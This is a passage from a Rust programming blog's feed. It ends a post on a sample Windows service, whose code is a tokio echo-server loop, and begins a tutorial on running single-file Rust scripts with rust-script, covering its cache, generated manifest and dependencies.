&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Keep reading until token is cancelled (or client disconnects or we have
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// read/write errors). Note that if you&amp;#39;re buffering some data, you might
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// want to flush before returning.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="fm"&gt;select!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancelled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: shutdown signal received, closing &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; connection.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Bye &lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_bytes&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: write error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Client disconnected
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: client disconnected&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Echo back what we received
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;::&lt;span class="n"&gt;with_capacity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Echo: &amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: write error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;: read error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And this completes the sample project and little exploration into Windows services. I learned a bunch of new things and hope the descriptions and sample code come in helpful to you as well.&lt;/p&gt;
&lt;p&gt;As mentioned in the beginning, you can find the &lt;a href="https://github.com/davidhamann/windows-service-experiment"&gt;full code here on GitHub&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Writing scripts in Rust – with rust-script or nightly Cargo</title><link>https://davidhamann.de/2026/01/30/writing-scripts-in-rust/</link><pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/01/30/writing-scripts-in-rust/</guid><description>&lt;p&gt;A while ago I stumbled upon &lt;a href="https://github.com/fornwall/rust-script"&gt;&lt;code&gt;rust-script&lt;/code&gt;&lt;/a&gt;, a tool which lets you write single-file Rust programs and execute them as if they were standalone script files.&lt;/p&gt;
&lt;p&gt;This comes in very handy when you want to experiment with Rust code, write up executable examples or build small utility programs, but don&amp;rsquo;t always want to deal with explicitly setting up Cargo projects for every little script.&lt;/p&gt;
&lt;h2 id="using-rust-script"&gt;Using &lt;code&gt;rust-script&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s have a look at how this works:&lt;/p&gt;
&lt;p&gt;First, we install the &lt;code&gt;rust-script&lt;/code&gt; binary: &lt;code&gt;cargo install rust-script&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Next, we write a sample script and make it executable (&lt;code&gt;chmod +x example.rs&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;example.rs:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env rust-script

fn main() {
 println!(&amp;#34;Hello, world!&amp;#34;);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally, we execute the program just like a standalone script:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ./example.rs

Hello, world!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You will notice a small delay on the first execution as the compilation step still has to take place in the background. From the second execution, however, you are just invoking the cached binary from the first execution which &lt;code&gt;rust-script&lt;/code&gt; manages for you.&lt;/p&gt;
&lt;h3 id="getting-compilation-output"&gt;Getting compilation output&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s add an argument to &lt;code&gt;rust-script&lt;/code&gt; and see what&amp;rsquo;s going on and where the actual executables and project files are stored:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/usr/bin/env -S rust-script --cargo-output&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Hello, world!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Executing the script now, you will see the compilation output and cache location:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ./example.rs
 Compiling example_bbede6ff2d210dd974ed45f4 v0.1.0 (/Users/user/Library/Caches/rust-script/projects/bbede6ff2d210dd974ed45f4)
 Finished `release` profile [optimized] target(s) in 0.07s
Hello, world!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The Cargo project creation is abstracted away, but if we want to, we can review the generated Cargo.toml in the projects cache folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="nx"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;example_bbede6ff2d210dd974ed45f4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/private/tmp/./example.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;dependencies&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;package&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;authors&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Anonymous&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;edition&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;2021&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;example_bbede6ff2d210dd974ed45f4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;0.1.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;release&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;strip&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the corresponding binary can be found in &lt;code&gt;~/Library/Caches/rust-script/binaries/release/example_bbede6ff2d210dd974ed45f4&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="using-dependencies"&gt;Using dependencies&lt;/h3&gt;
&lt;p&gt;As &lt;code&gt;rust-script&lt;/code&gt; works with a regular Cargo manifest file in the background, it allows you to easily add dependencies in your single-file scripts as well. Here&amp;rsquo;s an extended example with the &lt;code&gt;rand&lt;/code&gt; crate as dependency:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/usr/bin/env -S rust-script --cargo-output&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="sd"&gt;//! ```cargo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;//! [dependencies]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;//! rand = &amp;#34;0.9.2&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;//! ```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;&lt;/span&gt;&lt;span class="w"&gt;
